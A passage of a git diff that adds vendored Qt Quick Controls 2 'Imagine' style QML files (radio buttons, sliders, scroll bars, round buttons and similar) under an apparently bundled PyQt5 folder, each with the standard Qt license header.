control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: Item { + implicitWidth: control.indeterminate ? animation.implicitWidth || progress.implicitWidth : progress.implicitWidth + implicitHeight: control.indeterminate ? animation.implicitHeight || progress.implicitHeight : progress.implicitHeight + scale: control.mirrored ? -1 : 1 + + readonly property bool hasMask: mask.status !== Image.Null + + readonly property NinePatchImage progress: NinePatchImage { + parent: control.contentItem + width: control.position * parent.width + height: parent.height + visible: !control.indeterminate && !control.contentItem.hasMask + + source: Imagine.url + "progressbar-progress" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"indeterminate": control.indeterminate}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + readonly property AnimatedImage animation: AnimatedImage { + parent: control.contentItem + width: parent.width + height: parent.height + playing: control.indeterminate + visible: control.indeterminate && !control.contentItem.hasMask + + source: Imagine.url + "progressbar-animation" + AnimatedImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + readonly property NinePatchImage mask: NinePatchImage { + width: control.availableWidth + height: control.availableHeight + visible: false + + source: Imagine.url + "progressbar-mask" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"indeterminate": control.indeterminate}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + readonly property OpacityMask effect: OpacityMask { + parent: control.contentItem + width: source.width + height: source.height + source: control.indeterminate ? control.contentItem.animation : control.contentItem.progress + + maskSource: ShaderEffectSource { + sourceItem: control.contentItem.mask + sourceRect: Qt.rect(0, 0, control.contentItem.effect.width, control.contentItem.effect.height) + } + } + } + + background: NinePatchImage { + source: Imagine.url + "progressbar-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"indeterminate": control.indeterminate}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RadioButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RadioButton.qml new file mode 100644 index 00000000..a50bc127 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RadioButton.qml @@ -0,0 +1,104 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.RadioButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 6 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + indicator: Image { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + source: Imagine.url + "radiobutton-indicator" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } + + background: NinePatchImage { + source: Imagine.url + "radiobutton-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RadioDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RadioDelegate.qml new file mode 100644 index 00000000..5a8356f8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RadioDelegate.qml @@ -0,0 +1,116 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.RadioDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + indicator: Image { + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + source: Imagine.url + "radiodelegate-indicator" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + background: NinePatchImage { + source: Imagine.url + "radiodelegate-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RangeSlider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RangeSlider.qml new file mode 100644 index 00000000..47d90cf3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RangeSlider.qml @@ -0,0 +1,134 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.RangeSlider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + first.implicitHandleWidth + leftPadding + rightPadding, + second.implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + first.implicitHandleHeight + topPadding + bottomPadding, + second.implicitHandleHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + first.handle: Image { + x: control.leftPadding + (control.horizontal ? control.first.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.first.visualPosition * (control.availableHeight - height)) + + source: Imagine.url + "rangeslider-handle" + ImageSelector on source { + states: [ + {"first": true}, + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"pressed": control.first.pressed}, + {"focused": control.first.handle.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.first.hovered} + ] + } + } + + second.handle: Image { + x: control.leftPadding + (control.horizontal ? control.second.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.second.visualPosition * (control.availableHeight - height)) + + source: Imagine.url + "rangeslider-handle" + ImageSelector on source { + states: [ + {"second": true}, + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"pressed": control.second.pressed}, + {"focused": control.second.handle.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.second.hovered} + ] + } + } + + background: NinePatchImage { + scale: control.horizontal && control.mirrored ? -1 : 1 + + source: Imagine.url + "rangeslider-background" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + NinePatchImage { + x: control.horizontal ? control.first.handle.width / 2 + control.first.position * (parent.width - control.first.handle.width) : (parent.width - width) / 2 + y: control.horizontal ? (parent.height - height) / 2 : control.first.handle.height / 2 + control.second.visualPosition * (parent.height - control.first.handle.height) + width: control.horizontal ? control.second.position * (parent.width - control.first.handle.width) - control.first.position * (parent.width - control.first.handle.width) : parent.width + height: control.vertical ? control.second.position * (parent.height - control.first.handle.height) - control.first.position * (parent.height - control.first.handle.height): parent.height + + source: Imagine.url + "rangeslider-progress" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RoundButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RoundButton.qml new file mode 100644 index 00000000..fe4cbb36 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/RoundButton.qml @@ -0,0 +1,98 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.RoundButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.enabled && control.flat && control.highlighted ? control.palette.highlight + : control.enabled && (control.down || control.checked || control.highlighted) && !control.flat + ? control.palette.brightText : control.flat ? control.palette.windowText : control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.enabled && control.flat && control.highlighted ? control.palette.highlight + : control.enabled && (control.down || control.checked || control.highlighted) && !control.flat + ? control.palette.brightText : control.flat ? control.palette.windowText : control.palette.buttonText + } + + background: NinePatchImage { + // ### TODO: radius? + source: Imagine.url + "roundbutton-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"checkable": control.checkable}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"flat": control.flat}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ScrollBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ScrollBar.qml new file mode 100644 index 00000000..68772e12 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ScrollBar.qml @@ -0,0 +1,119 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ScrollBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + visible: control.policy !== T.ScrollBar.AlwaysOff + minimumSize: orientation == Qt.Horizontal ? height / width : width / height + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: NinePatchImage { + width: control.availableWidth + height: control.availableHeight + + source: Imagine.url + "scrollbar-handle" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"interactive": control.interactive}, + {"pressed": control.pressed}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + opacity: 0.0 + } + + background: NinePatchImage { + source: Imagine.url + "scrollbar-background" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"interactive": control.interactive}, + {"pressed": control.pressed}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + opacity: 0.0 + } + + states: [ + State { + name: "active" + when: control.policy === T.ScrollBar.AlwaysOn || (control.active && control.size < 1.0) + } + ] + + transitions: [ + Transition { + to: "active" + NumberAnimation { targets: [control.contentItem, control.background]; property: "opacity"; to: 1.0 } + }, + Transition { + from: "active" + SequentialAnimation { + PropertyAction{ targets: [control.contentItem, control.background]; property: "opacity"; value: 1.0 } + PauseAnimation { duration: 3000 } + NumberAnimation { targets: [control.contentItem, control.background]; property: "opacity"; to: 0.0 } + } + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ScrollIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ScrollIndicator.qml new file mode 100644 index 00000000..896cd876 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ScrollIndicator.qml @@ -0,0 +1,111 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ScrollIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: NinePatchImage { + width: control.availableWidth + height: control.availableHeight + + source: Imagine.url + "scrollindicator-handle" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + opacity: 0.0 + } + + background: NinePatchImage { + source: Imagine.url + "scrollindicator-background" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + opacity: 0.0 + } + + states: [ + State { + name: "active" + when: (control.active && control.size < 1.0) + } + ] + + transitions: [ + Transition { + to: "active" + NumberAnimation { targets: [contentItem, control.background]; property: "opacity"; to: 1.0 } + }, + Transition { + from: "active" + SequentialAnimation { + PauseAnimation { duration: 5000 } + NumberAnimation { targets: [contentItem, control.background]; property: "opacity"; to: 0.0 } + } + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Slider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Slider.qml new file mode 100644 index 00000000..fe9c3388 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Slider.qml @@ -0,0 +1,120 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Slider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitHandleHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + handle: Image { + x: Math.round(control.leftPadding + (control.horizontal ? control.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2)) + y: Math.round(control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.visualPosition * (control.availableHeight - height))) + + source: Imagine.url + "slider-handle" + ImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"pressed": control.pressed}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + background: NinePatchImage { + scale: control.horizontal && control.mirrored ? -1 : 1 + + source: Imagine.url + "slider-background" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + NinePatchImage { + x: control.horizontal ? 0 : (parent.width - width) / 2 + y: control.horizontal + ? (parent.height - height) / 2 + : control.handle.height / 2 + control.visualPosition * (parent.height - control.handle.height) + width: control.horizontal + ? control.handle.width / 2 + control.position * (parent.width - control.handle.width) + : parent.width + height: control.vertical + ? control.handle.height / 2 + control.position * (parent.height - control.handle.height) + : parent.height + + source: Imagine.url + "slider-progress" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SpinBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SpinBox.qml new file mode 100644 index 00000000..61135806 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SpinBox.qml @@ -0,0 +1,152 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see 